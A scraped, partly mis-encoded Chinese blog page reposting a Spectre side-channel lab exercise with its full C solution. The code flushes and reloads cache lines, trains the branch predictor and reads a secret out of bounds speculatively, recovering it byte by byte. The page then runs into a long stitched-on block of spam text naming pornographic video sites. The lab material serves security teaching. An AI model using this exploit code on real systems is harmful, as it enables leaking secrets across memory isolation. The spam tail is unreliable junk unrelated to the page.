_mm_clflush(&array[i*4096 +DELTA]); }// 針對(duì)每個(gè)可能的敏感字符設(shè)置積分?jǐn)?shù)組 static int scores[256]; void reloadSideChannelImproved() {int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;//補(bǔ)全下方代碼,當(dāng)每次字符i被命中一次,對(duì)應(yīng)的積分+1/*************************************/for (i = 0; i < 256; i++) {addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD)scores[i]++;}/*************************************/}void spectreAttack(size_t index_beyond) {int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) {restrictedAccess(i); }// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }//// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = restrictedAccess(index_beyond);if(s!=0)array[s*4096 + DELTA] += 1; }int main() {fp=fopen("Spectre-Attack/ans/T5/result.txt","w");int i;uint8_t s;size_t index_beyond = (size_t)(secret - (char*)buffer);flushSideChannel();for(i=0;i<256; i++) scores[i]=0; //重復(fù)執(zhí)行1000次SpectreAttack和reloadSideChannelImproved函數(shù)for (i = 0; i < 1000; i++) {spectreAttack(index_beyond);usleep(10);reloadSideChannelImproved();}int max = 0;// 補(bǔ)全下方代碼,從scores數(shù)組中找到最大值,并將其索引值賦值給max/*************************************/for (i = 0; i < 256; i++) {if(max<scores[i])max=scores[i];}for (i = 0; i < 256; i++) {if(max==scores[i]){ max=i;break;}}/*************************************/printf("秘密值 \'%c\' (ASCII: %d),積分值:%d.\n", max, max, scores[max]);fprintf(fp,"%c|%d",(max > 31 && max < 127 ? max : '?'), scores[max]);fclose(fp);return (0); }

    第6關(guān):Spectre攻擊竊取敏感信息實(shí)戰(zhàn)

    • 任務(wù)要求
    • 參考答案
    • 評(píng)論
    • 關(guān)卡排行榜
    • 實(shí)驗(yàn)?zāi)康?/li>
    • 任務(wù)描述
    • 相關(guān)知識(shí)
    • 編程要求
    • 測(cè)試說明

    實(shí)驗(yàn)?zāi)康?/h3>

    基于前面關(guān)卡所掌握的知識(shí)和技術(shù),進(jìn)行內(nèi)存中敏感信息的竊取實(shí)戰(zhàn),加深對(duì)Spectre幽靈攻擊全流程的認(rèn)識(shí),同時(shí)強(qiáng)化實(shí)踐動(dòng)手能力。

    任務(wù)描述

    本關(guān)任務(wù)中,基本設(shè)計(jì)與前一關(guān)卡類似,區(qū)別在于使用了靜態(tài)鏈接庫(kù),將敏感信息編譯在了該庫(kù)中,該庫(kù)中所包含的部分變量如下圖所示: 同時(shí),該庫(kù)提供了如下函數(shù),供學(xué)員代碼調(diào)用。

  • size_t get_addr_offset(); // 獲取secret敏感信息在內(nèi)存中的位置相比合法訪問的內(nèi)存buffer[10]的偏移量
  • int get_secret_len(); // 獲取secret敏感信息的長(zhǎng)度
  • uint8_t get_info_sand_box(size_t); // 沙箱示意函數(shù)
  • get_info_sand_box沙箱示意函數(shù)與前關(guān)卡uint8_t restrictedAccess(size_t x)函數(shù)相同,其代碼如下圖:

    利用前面關(guān)卡所掌握的知識(shí),完善和補(bǔ)全右側(cè)代碼,利用高速緩存?zhèn)刃诺篮蚐pectre預(yù)測(cè)執(zhí)行漏洞,實(shí)現(xiàn)對(duì)敏感信息secret的準(zhǔn)確恢復(fù)。

    相關(guān)知識(shí)

    見前面1-4關(guān)的相關(guān)知識(shí)一節(jié)。

    編程要求

    根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完善各函數(shù)代碼,最終輸出指定格式的敏感信息竊取結(jié)果。

    測(cè)試說明

    運(yùn)行自測(cè),查看代碼運(yùn)行結(jié)果,并最終將竊取到的敏感信息完整內(nèi)容寫入/home/目錄下的result.txt文件??梢允褂胒printf(fp,"%c",(max > 31 && max < 127 ? max : '?'))函數(shù)輸出到該文件,也可以使用vim工具將內(nèi)容寫入文件。

    平臺(tái)會(huì)對(duì)你編寫的代碼和信息竊取結(jié)果進(jìn)行測(cè)試。

    預(yù)期輸出:

  • 第0個(gè)秘密字符的最優(yōu)值 'X' (ASCII: XX) 積分:[147] 次優(yōu)值 '?' (ASCII: 0) 積分:[13]
  • 第1個(gè)秘密字符的最優(yōu)值 'Y' (ASCII: YY) 積分:[133] 次優(yōu)值 '?' (ASCII: 0) 積分:[5]
  • 第2個(gè)秘密字符的最優(yōu)值 'Z' (ASCII: ZZ) 積分:[130] 次優(yōu)值 '?' (ASCII: 3) 積分:[9]
  • ……

  • 開始你的任務(wù)吧,祝你成功!

    #include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include "encipher.h"extern unsigned int bound_lower; extern unsigned int bound_upper;uint8_t temp = 0;uint8_t array[256*4096];/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (80)#define DELTA 2048 static int scores[256]; FILE *fp;void flushSideChannel() {//補(bǔ)全下方代碼,初始化array數(shù)組,并將所有相關(guān)數(shù)據(jù)從緩存中驅(qū)逐/*************************************/int i;for(i=0;i<256;i++){array[i*4096+DELTA]=1;}for(i=0;i<256;i++){_mm_clflush(&array[i*4096+DELTA]);}/*************************************/ }void reloadSideChannelImproved() {//補(bǔ)全下方代碼,完成高速緩存?zhèn)刃诺赖腞eload步驟,根據(jù)緩存命中情況,更新score數(shù)組/*************************************/int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;for (i = 0; i < 256; i++) {addr = &array[i * 4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){scores[i]++; }} /*************************************/ }void spectreAttack(size_t index_beyond) {//補(bǔ)全下方代碼,針對(duì)指定的內(nèi)存位置,開展Spectre攻擊,包括緩存清空、CPU訓(xùn)練、緩存驅(qū)逐、預(yù)測(cè)執(zhí)行和緩存加載等環(huán)節(jié)/*************************************/int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) {get_info_sand_box(i);}// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++){ _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = get_info_sand_box(index_beyond);if(s!=0)array[s*4096 + DELTA] += 88;/*************************************/ }int main() {//補(bǔ)全下方代碼,針對(duì)敏感信息secret的每個(gè)字節(jié),逐個(gè)進(jìn)行提取,每個(gè)字節(jié)的提取操作執(zhí)行1000次,并按照指定格式輸出提取結(jié)果及其積分值(可以包括最優(yōu)值與次優(yōu)值,即score最大的值和第二大的值的索引)。//打印示例:printf("第%d個(gè)秘密字符的最優(yōu)值 \'%c\' (ASCII: %d) 積分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);/*************************************/int i;uint8_t s;fp=fopen("/home/result.txt","w");size_t index_beyond = get_addr_offset();flushSideChannel();for(int k=0;k<get_secret_len();k++){for(i=0;i<256; i++){scores[i]=0; }for (i = 0; i < 1000; i++) {spectreAttack(index_beyond+k);usleep(10);reloadSideChannelImproved();}int max = 0; int mx= 0; for (i = 0; i < 256; i++){// printf("%d ", scores[i]);if(scores[max] < scores[i]) {max = i;}}for (i = 0; i < 256; i++){if(scores[mx] < scores[i] && i!=max) {mx = i;}}printf("第%d個(gè)秘密字符的最優(yōu)值 '%c' (ASCII: %d) 積分:[%d] 次優(yōu)值 '%c' (ASCII: %d) 積分:[%d]\n", k, (max > 31 && max < 127 ? max : '?'), max, scores[max],(mx > 31 && mx < 127 ? mx : '?'), mx, scores[mx]);fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));}/*************************************/return (0); }

    總結(jié)

    以上是生活随笔為你收集整理的Spectre侧信道攻击过程验证的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

    午夜18视频在线观看 | 亚洲免费不卡 | 国产中文在线视频 | 香蕉网站在线观看 | 97视频在线免费观看 | 成人18视频 | 日本中文字幕一二区观 | 精久久久久 | 偷拍精品一区二区三区 | 国产精品 国内视频 | 欧美一级黄大片 | 91成人午夜 | 欧美狠狠操 | 91视频麻豆| 一级片视频在线 | 日韩欧美一区二区在线 | 欧美疯狂性受xxxxx另类 | 久久麻豆精品 | 玖玖视频精品 | 日韩精品一区二区三区中文字幕 | 五月天国产精品 | 美女精品久久久 | 在线а√天堂中文官网 | 成人av在线影视 | 国产精品美乳一区二区免费 | 日韩成人高清在线 | 国产精品手机在线 | 亚洲免费国产视频 | 特级西西444www大精品视频免费看 | 欧美日韩裸体免费视频 | 亚洲精品网站 | 色小说av| 97超碰精品 | 在线观看免费av网 | 插综合网 | 亚洲成人av在线播放 | 国产美女网站在线观看 | 日韩黄色影院 | 久久久精品免费观看 | 国产69精品久久久久久久久久 | 国产精品不卡一区 | 人人看人人 | 欧美成天堂网地址 | 日韩久久视频 | 亚洲综合成人av | 色婷婷综合久久久久 | 在线高清av | 久久精品中文字幕少妇 | 综合久久精品 | 精品三级av| 亚洲成人动漫在线观看 | 色片网站在线观看 | 日躁夜躁狠狠躁2001 | 一级片免费视频 | 91亚洲夫妻 | 黄色三级久久 | 2018好看的中文在线观看 | 欧美精品久久久久久久久久久 | 国产精品久久久久久久久免费看 | 91精品啪在线观看国产线免费 | 国产在线观看,日本 | 日韩xxxxxxxxx | 深夜免费福利 | 91精品国产高清自在线观看 | 99精品国产福利在线观看免费 | 免费看片网站91 | 亚洲国产成人av网 | 91精品欧美一区二区三区 | 一区二区三区在线免费观看视频 | 欧美日韩亚洲在线观看 | 久操视频在线观看 | 在线视频精品播放 | 久久精品国产亚洲aⅴ | 亚洲黄色在线播放 | 国产精品毛片一区二区 | 欧美最猛性xxxxx亚洲精品 | 久久久久久美女 | 久久字幕精品一区 | 国产午夜精品久久久久久久久久 | 精品久久1 | 亚洲国产日韩在线 | 成人午夜电影在线观看 | 81精品国产乱码久久久久久 | 丁香婷婷激情网 | 狠狠久久婷婷 | 成人国产精品免费观看 | 亚洲国产精品电影在线观看 | 一级特黄aaa大片在线观看 | 四虎影视成人永久免费观看视频 | 国内精品毛片 | 深夜免费小视频 | 中文字幕在线视频国产 | 91久久久久久久一区二区 | 8x成人免费视频 | 久久久鲁| 狠狠干狠狠艹 | av在线免费网 | 玖玖玖影院 | 香蕉视频在线免费 | 久久99热精品 | 9久久精品 | 九九三级毛片 | 伊人久久av | 伊人www22综合色 | 亚洲第一中文字幕 | 日日干网| 91av资源在线 | 欧美国产日韩在线视频 | 久久一区二区三区四区 | 亚洲h在线播放在线观看h | 91大片网站 | 亚洲视频久久 | 99热超碰| 日韩影片在线观看 | 免费看v片| 香蕉在线观看 | 亚洲一区免费在线 | www.av中文字幕.com | 日韩有码中文字幕在线 | 国产亚洲精品久久久久久无几年桃 | 成人午夜电影网 | 国产精品免费观看国产网曝瓜 | 黄色一级网 | 黄色最新网址 | 亚洲欧美日本一区二区三区 | 日韩在线色 | 五月婷婷开心中文字幕 | 久久综合久久综合这里只有精品 | 久草精品视频在线观看 | 在线欧美最极品的av | 国产精品成人自产拍在线观看 | 国产一区麻豆 | 国产精品视屏 | 九九热久久免费视频 | 国产美女主播精品一区二区三区 | 免费在线观看日韩视频 | 精品无人国产偷自产在线 | 成人免费ⅴa| 日韩久久精品一区二区三区下载 | 91伊人久久大香线蕉蜜芽人口 | 国产黄免费 | 黄色一区二区在线观看 | 国产成人久久精品77777综合 | 天天综合网~永久入口 | 国产3p视频| 亚洲视频资源在线 | 成人夜晚看av | 亚洲精品国偷自产在线99热 | 久久香蕉电影 | 日韩中文在线视频 | 视频直播国产精品 | 国产精品日韩欧美一区二区 | 操操碰| 毛片a级片 | 国产亚洲精品久久久久久电影 | 色午夜影院 | 天天爽天天爽天天爽 | 久久国内免费视频 | 好看av在线 | 久久爱资源网 | 日本中出在线观看 | 欧美大片第1页 | 韩日精品在线 | 91亚洲激情 | 免费h漫在线观看 | 嫩草av影院| 97人人模人人爽人人喊网 | 五月激情亚洲 | 激情久久一区二区三区 | av一级在线观看 | 婷婷丁香久久五月婷婷 | 99精品在线免费 | 亚洲在线观看av | 探花在线观看 | 国产精品视频专区 | 欧美a级一区二区 | 久久欧美在线电影 | 久久久在线视频 | 高清精品久久 | 久久一区二区三区超碰国产精品 | 欧美日韩精品在线播放 | a天堂免费| 国产成人精品一区二区三区福利 | 国产精品久久久久久久久久久免费看 | 久草在线99 | 五月激情六月丁香 | 国产大片免费久久 | 91麻豆精品国产自产在线游戏 | 国产亚洲在线视频 | 亚洲国产精品激情在线观看 | 日韩av免费一区 | 久久视奸| 国内精品亚洲 | 欧美日韩网址 | 激情综合啪| 欧美亚洲国产精品久久高清浪潮 | 在线小视频 | 999久久a精品合区久久久 | 国产精品免费观看国产网曝瓜 | 久久av黄色 | 制服丝袜天堂 | 国产精品专区在线 | 成人在线你懂得 | 亚洲影视九九影院在线观看 | 97超级碰碰碰碰久久久久 | 成人在线免费视频 | 麻豆视频91 | 久久精品视频免费观看 | 亚洲va欧美va人人爽春色影视 | 夜夜澡人模人人添人人看 | 最新中文字幕在线播放 | 毛片网站免费 | 日本三级久久久 | 最新中文字幕在线播放 | 国产精品成人一区二区三区 | 欧美性色xo影院 | 美女视频黄是免费的 | 日本一区二区高清不卡 | 国产成年人av | 国产精品国产三级国产专区53 | 99热在线观看免费 | 美女免费视频一区 | 日韩激情精品 | 亚洲免费在线看 | 天天天操天天天干 | 欧美另类交在线观看 | 国产精品黄网站在线观看 | 视频在线在亚洲 | 亚洲精品一区二区三区在线观看 | 国产精品久久久久av免费 | 天天鲁天天干天天射 | 在线看片中文字幕 | 91成熟丰满女人少妇 | av综合av| 日本韩国在线不卡 | 国产在线高清 | 肉色欧美久久久久久久免费看 | 日韩精品久久久久 | 久久精品视频网址 | 欧美日韩国产一区二区在线观看 | 女人魂免费观看 | 成人毛片100免费观看 | 亚洲情感电影大片 | 亚洲 中文字幕av | 在线观看日韩av | 久久在线免费视频 | 精品一区av| 麻豆视频在线免费看 | 黄色成人在线 | 久久色在线观看 | 久艹视频免费观看 | 久久精品网| 99精品福利 | 九九久久久久久久久激情 | 国内久久久久久 | 免费看成人片 | 色激情在线 | 日韩欧美电影在线观看 | av大片网址 | 视频91在线| 天天干天天干天天干天天干天天干天天干 | 青青草华人在线视频 | 国产精品99久久久久久大便 | 男女视频久久久 | 国产亚洲人成网站在线观看 | 中文字幕 二区 | 精品视频www | 国产99视频在线观看 | 日本性生活免费看 | 久草综合在线观看 | 日韩欧美在线观看一区二区三区 | 99久久久成人国产精品 | 狠狠操狠狠插 | 一区二区三区四区在线免费观看 | 亚洲五月激情 | 九九九在线观看 | 成人av日韩 | 国产一卡久久电影永久 | 久久99免费观看 | 国产一区免费视频 | 91大神电影 | 国产免费观看av | 日韩理论在线播放 | 亚洲一级黄色片 | 久久久久国产一区二区三区 | 日韩在线不卡视频 | 成人xxxx| 国产精品美女久久久久久2018 | 日韩欧美网站 | av中文字幕不卡 | 国产精品综合久久久久久 | 91亚洲国产 | 久久超 | 婷婷色av| 天天插视频 | 色综合天天在线 | 激情综合色播五月 | 91尤物国产尤物福利在线播放 | 亚洲激情电影在线 | 国产精品久久久久9999吃药 | 国产日韩欧美在线一区 | 国产中文字幕在线观看 | 亚洲激情一区二区三区 | 六月色 | 日韩成人欧美 | 国产91精品看黄网站在线观看动漫 | 中文字幕在线视频第一页 | 在线免费黄色 | 夜夜视频资源 | 久草av在线播放 | 国产免费观看久久黄 | 成人中文字幕+乱码+中文字幕 | 天天操夜夜操夜夜操 | 国产成人精品999 | 国产91学生粉嫩喷水 | 在线观看福利网站 | 五月天,com | 日韩三级一区 | 午夜黄色影院 | 97视频人人 | 日韩有码欧美 | 久久婷婷激情 | 久久99中文字幕 | 网址你懂的在线观看 | 黄色免费观看视频 | 国产精品久久久久9999 | 亚洲精品高清在线观看 | 国产一区高清在线观看 | 在线小视频你懂得 | 亚洲一区二区麻豆 | 天天干,狠狠干 | 国产精品12| 超碰在线个人 | 国产91精品高清一区二区三区 | 日韩精品在线一区 | 久久伊人婷婷 | 911香蕉 | 欧美成人视| 91中文字幕 | 久久天堂网站 | 西西444www大胆无视频 | 亚洲成色777777在线观看影院 | 在线精品观看 | 中文一区在线 | 中文资源在线官网 | 91人人揉日日捏人人看 | 精品久久久亚洲 | 国产精品国内免费一区二区三区 | 欧美日韩国产亚洲乱码字幕 | 成人av在线直播 | 成人小视频免费在线观看 | 婷婷天天色 | 久久草在线精品 | 天天天天天天干 | 91看片在线观看 | 色婷婷一 | 婷婷色在线视频 | 天堂网中文在线 | 免费国产一区二区 | 免费色视频网站 | 草久久久| 黄色精品久久 | 免费看片网站91 | www国产亚洲精品久久网站 | 四虎影视成人永久免费观看视频 | 久久成人精品电影 | 国产99在线播放 | 一区二区视频欧美 | 日韩亚洲国产精品 | 97在线观视频免费观看 | 久久精品伊人 | 亚洲在线高清 | 一本到视频在线观看 | 欧美日韩裸体免费视频 | 又黄又爽又刺激的视频 | 91精品久久久久久久91蜜桃 | av解说在线观看 | 制服丝袜天堂 | 中文字幕在线一二 | 色婷婷激情综合 | 亚洲黄色小说网址 | 国内精品毛片 | 91精品999 | 四虎永久精品在线 | 手机av在线免费观看 | 九九热免费在线视频 | 婷婷夜夜 | www在线观看国产 | 在线观看亚洲精品 | 国产在线观看网站 | 永久精品视频 | 日韩免费视频网站 | 久久久免费| 精品久久久久久国产 | 九九久久久久久久久激情 | 久久久污 | 成人激情开心网 | 中文字幕免费国产精品 | 在线免费91 | 91av99| 国产97在线观看 | av高清一区二区三区 | 亚洲影院色 | 亚洲日本精品 | 99免费在线视频 | 国产又粗又猛又黄又爽的视频 | 亚洲国产精品久久久久久 | av看片网址 | 最近免费中文视频 | 免费日韩一级片 | 久久99久久99久久 | 亚洲.www| 国产成人精品av | 三级在线视频观看 | 亚洲欧洲xxxx | 青青河边草免费视频 | 伊人影院99| 国产精品成人久久久 | 美女在线免费观看视频 | 国产精品美女在线观看 | 国产麻豆视频免费观看 | 国产原创中文在线 | av黄色免费网站 | 91高清在线 | 99精品欧美一区二区三区黑人哦 | 国产一区二区观看 | 九九在线视频 | 超碰com| 色婷婷成人网 | 欧美少妇xxx | 亚洲精品视频在线观看网站 | 成人免费观看视频大全 | 91精品国产欧美一区二区 | 91av99| 欧美日韩精品影院 | 天天插天天干 | 成人午夜黄色 | 欧美日韩国产在线精品 | 婷婷丁香五 | 亚洲在线成人精品 | 人人干在线| 亚洲黄色小说网 | 91精品国产三级a在线观看 | 午夜精品一区二区三区免费视频 | 欧美精品免费在线 | 久久97久久97精品免视看 | 激情偷乱人伦小说视频在线观看 | 99国产视频 | 91成人在线视频 | 激情开心 | 麻豆91小视频 | 色之综合网 | 最近中文字幕在线中文高清版 | 日本久久不卡视频 | 国产视频二区三区 | 精品国产一区二区三区在线观看 | 在线免费中文字幕 | 九九九热精品免费视频观看网站 | 久久综合久久综合这里只有精品 | 国产无区一区二区三麻豆 | 激情久久网 | 国产精品a久久久久 | 亚洲va天堂va欧美ⅴa在线 | 黄色大全在线观看 | 国色天香在线 | 日韩在线看片 | 国产成人在线免费观看 | 免费在线视频一区二区 | 国产97色 | 97福利在线 | www.成人久久 | 黄色在线观看网站 | 成片视频在线观看 | 国产精品欧美日韩 | 99热超碰| 一区二区在线影院 | 一区二区三区在线观看中文字幕 | 国产高清久久久久 | 九色一区二区 | 亚洲精品午夜久久久久久久 | 国产精品2020 | 日本中文字幕在线一区 | 久久国内精品99久久6app | 四虎成人精品永久免费av | 国产一区二区电影在线观看 | 中文字幕在线专区 | 成人久久免费 | 国产精品黄网站在线观看 | 黄色片网站av | 成人黄色大片在线免费观看 | 日韩久久久久久久久 | 中文在线最新版天堂 | 狠狠色丁香久久综合网 | 国产精品视频永久免费播放 | 激情丁香综合五月 | 精品国模一区二区三区 | 成人黄色毛片视频 | 国产福利电影网址 | 99久久er热在这里只有精品15 | 在线观看日本高清mv视频 | 九九色在线| 伊甸园av在线| 天天综合网天天综合色 | 超碰国产97| 精品国精品自拍自在线 | 久久久久久久久久久久久国产精品 | 人人看人人艹 | 国产精品自在线拍国产 | 久久国产美女 | 婷婷伊人网 | 久久免费播放 | 九九精品在线观看 | 久热免费| av网站在线观看免费 | av在线日韩 | 三级黄在线 | 成人小视频免费在线观看 | 国内精品久久久久久久影视简单 | 亚洲网久久 | 国产成人精品久久亚洲高清不卡 | 97国产人人 | 成人免费视频网站 | 三级动图| 超碰国产97 | 91精品视频在线 | 日韩黄色一区 | 久久夜色精品国产欧美一区麻豆 | 国产福利不卡视频 | 玖玖在线观看视频 | 亚洲综合狠狠干 | 亚洲日本一区二区在线 | 欧美在线aa | 欧美精品少妇xxxxx喷水 | 亚洲电影成人 | 国产精品一区二区三区免费看 | 成人免费视频播放 | 国产精品激情偷乱一区二区∴ | 91在线视频导航 | 色婷婷天天干 | 精品字幕 | 亚洲三级黄色 | 亚洲精品视频大全 | 99视频这里只有 | 久久夜色精品国产欧美乱 | 开心色插 | 草久久久 | 在线免费观看国产黄色 | 国产一区二区三区久久久 | 成人免费观看网站 | 青草视频在线免费 | 91在线操 | 久久不卡电影 | 日韩欧美有码在线 | 特级毛片aaa | 成人在线观看免费视频 | 国产主播大尺度精品福利免费 | 久久福利国产 | 国产a级片免费观看 | 成人理论在线观看 | 国产成人亚洲在线观看 | 亚洲高清国产视频 | 9999国产精品 | 欧美性黄网官网 | 亚洲精品自拍视频在线观看 | 欧美日韩一区二区三区视频 | 27xxoo无遮挡动态视频 | 国产亚洲欧美在线视频 | 亚州精品天堂中文字幕 | 亚洲精品一区二区在线观看 | 中文字幕有码在线 | 亚洲极色 | 久久1区| 九九热国产视频 | 国产1区2| 久久影院亚洲 | 日韩视频中文 | 欧洲精品二区 | 91av影视| 天天天天天天天天操 | 91亚洲精品久久久中文字幕 | av在线电影免费观看 | 九九在线免费视频 | 国产成人a亚洲精品 | 婷婷深爱五月 | 白丝av在线 | 午夜视频导航 | 色黄久久久久久 | 国产中文字幕一区二区 | 91av99| 欧美日韩在线视频免费 | 亚洲精品乱码久久久一二三 | 97日日碰人人模人人澡分享吧 | 日韩欧美视频在线观看免费 | 日韩理论电影在线 | 狠狠躁夜夜av | 麻豆国产精品视频 | 日韩videos高潮hd | 激情开心色 | 成片免费观看视频999 | 一区二区三区在线影院 | 欧美夫妻生活视频 | www国产在线 | 贫乳av女优大全 | 亚洲精品国产精品99久久 | 五月综合激情婷婷 | a精品视频 | 久久综合狠狠综合久久狠狠色综合 | 在线日韩视频 | 日本在线视频网址 | 国产最新91 | 国产黑丝一区二区 | 亚洲a在线观看 | 久草网站在线 | 九色视频网址 | 久久国产系列 | 不卡精品视频 | 人人精品 | 97在线播放视频 | 黄色毛片在线 | 99精品国产成人一区二区 | 97在线公开视频 | 狠狠操夜夜操 | 97超碰国产精品女人人人爽 | av一区二区三区在线 | 91亚洲网| 久久综合免费视频影院 | 免费国产黄线在线观看视频 | 五月激情婷婷丁香 | 狠狠色综合网站久久久久久久 | 九色精品 | 日日操天天操夜夜操 | 日韩69av | 国产一区二区在线免费 | 日韩视频一二三区 | 色资源网在线观看 | 久久精品欧美一区二区三区麻豆 | 亚洲精品视频免费观看 | 九九免费在线观看 | 亚洲人成综合 | 中文字幕日韩国产 | 中文字幕在线字幕中文 | 99久高清在线观看视频99精品热在线观看视频 | 亚洲精品在线观看网站 | 天天激情综合 | 国产美女无遮挡永久免费 | 激情综合色综合久久 | 色多多污污在线观看 | 国内精品小视频 | 在线观看免费av网 | 人人澡人人添人人爽一区二区 | 色资源网免费观看视频 | 人人精久 | 国产精品一区二区三区四区在线观看 | 草久在线播放 | 国产自产在线视频 | 在线观看 国产 | 99精品视频一区 | 久久涩视频| 91九色蝌蚪国产 | 99免费在线观看视频 | 亚洲年轻女教师毛茸茸 | 国产精彩在线视频 | 成年人app网址 | 国产成人精品一区二区三区免费 | 国产精品永久在线 | 啪啪免费观看网站 | 国产高清永久免费 | 99r精品视频在线观看 | 日韩激情视频在线观看 | 在线高清 | 国产日产高清dvd碟片 | 精品视频免费久久久看 | 在线国产日本 | 久久久久电影网站 | 久草电影免费在线观看 | 韩国精品一区二区三区六区色诱 | av高清一区二区三区 | 国产一二三四在线观看视频 | 九九爱免费视频在线观看 | 中文字幕在线看视频 | 亚洲一区精品人人爽人人躁 | 91大神在线观看视频 | 在线观看日本高清mv视频 | av黄色成人 | 免费一级特黄录像 | 国产精品美女久久久 | 亚洲综合色视频 | 一区二区三区免费在线观看视频 | 五月天久久久久 | 欧美粗又大 | 黄色的网站在线 | 国产精品久久久久久久久大全 | 日本高清中文字幕有码在线 | 福利视频午夜 | 五月天婷婷综合 | 国产视频18 | 色在线亚洲 | 成人久久免费视频 | 在线婷婷 | 2021国产精品视频 | 亚洲人成精品久久久久 | 久久精品一二三区白丝高潮 | 久久免费精品国产 | 亚洲成av人片在线观看 | 亚洲一区不卡视频 | 又色又爽又黄高潮的免费视频 | 成人在线视频网 | av 一区 二区 久久 | 美女一二三区 | 中字幕视频在线永久在线观看免费 | 成人av久久| 成人在线播放免费观看 | 狠狠干综合 | 日躁夜躁狠狠躁2001 | 欧美日产一区 | 成人三级视频 | 99爱精品视频 | 久久艹欧美 | 91成人网在线观看 | av色综合| a级国产乱理论片在线观看 特级毛片在线观看 | 久久99精品久久久久久清纯直播 | 免费看黄在线网站 | 久久久久久国产精品999 | 久久久久成人精品 | 欧美成人播放 | 日韩欧美高清视频在线观看 | 日韩狠狠操| 亚洲国产成人高清精品 | 亚洲国产成人高清精品 | 中文字幕第一页在线视频 | 欧美一级艳片视频免费观看 | 久久国产香蕉视频 | 超碰在线公开免费 | 精品无人国产偷自产在线 | 国产成人精品国内自产拍免费看 | 国产裸体bbb视频 | 一区二区欧美激情 | 四虎影视成人永久免费观看视频 | 激情片av | 日本中文字幕在线视频 | 国产成人精品电影久久久 | 亚洲在线看| 狠狠狠色丁香综合久久天下网 | 色视频 在线| 国产高清黄 | 91传媒在线播放 | 亚洲视频在线观看 | 色综合久久88色综合天天免费 | 亚洲精品在线观看不卡 | 久久久久 | 国产高清视频色在线www | 日日夜夜人人精品 | 中文字幕高清在线 | 国产 在线 高清 精品 | 久久久午夜视频 | 九九九热 | 日本黄色免费电影网站 | 欧美一区二区三区免费观看 | 免费在线观看黄 | 胖bbbb搡bbbb擦bbbb | 国产高清一区二区 | 黄p网站在线观看 | 欧美日韩国产在线一区 | 国产97av | www91在线观看 | av 一区 二区 久久 | 在线亚洲人成电影网站色www | 国产色在线观看 | 夜色成人av | 免费在线观看一级片 | 91电影福利 | 国产精品久久久久久久久久东京 | 成人久久精品视频 | 日日夜夜免费精品 | av网站在线观看播放 | 欧美日韩成人一区 | 又爽又黄又无遮挡网站动态图 | 久色网| 福利电影一区二区 | 日本视频高清 | 91尤物在线播放 | 天天操夜夜看 | 精品一区二区在线免费观看 | 一区中文字幕电影 | 免费av影视 | 久久黄色小说 | 日韩最新在线视频 | av网站免费在线 | 五月天激情综合网 | 国产99久久99热这里精品5 | 天天摸天天操天天舔 | 欧美激情va永久在线播放 | 久久国产91 | 亚洲国产精品一区二区久久,亚洲午夜 | 成人h电影 | 久久久久99精品国产片 | 日韩精品久久久久 | 国产小视频精品 | 久久国产免费 | 99婷婷狠狠成为人免费视频 | 久久麻豆视频 | 欧美韩日在线 | 国产美女视频网站 | 国产午夜av | 久草在线手机观看 | 黄色成年片 | 久久成熟| 日韩激情在线 | 久久乱码卡一卡2卡三卡四 五月婷婷久 | 91精品在线播放 | 99视频精品全国免费 | 91av九色| 美女视频久久黄 | 国产高清视频免费 | 亚洲三级影院 | 狠狠干网址 | 色婷婷综合久久久久中文字幕1 | 日韩久久精品一区二区三区下载 | 日韩免费播放 | 麻豆超碰 | 黄色免费av| 国产成人在线一区 | 国产成人精品午夜在线播放 | 午夜精品一区二区国产 | www.91av在线 | 欧美成人免费在线 | 久久天天操 | 免费在线一区二区三区 | 草莓视频在线观看免费观看 | 最新日本中文字幕 | 九九视频免费观看视频精品 | av电影在线不卡 | 在线日本看片免费人成视久网 | 91激情| 91精品1区2区 | 五月婷婷视频在线 | 久草在在线视频 | 99久久婷婷国产精品综合 | 99精品视频在线观看免费 | 视频一区二区国产 | 91污污| 在线a人片免费观看视频 | 国产黄在线免费观看 | 国产九九精品视频 | 天天色天天操综合 | 91香蕉视频污在线 | 91九色porn在线资源 | 免费成人av在线 | 色人久久 | av大全免费在线观看 | 日本爱爱片 | 中日韩欧美精彩视频 | 国产一级淫片在线观看 | 久久九九免费视频 | 五月天天天操 | 日p视频在线观看 | 五月天激情视频 | 日韩a在线观看 | 97成人精品视频在线观看 | 精品久久久久亚洲 | 免费观看成人网 | 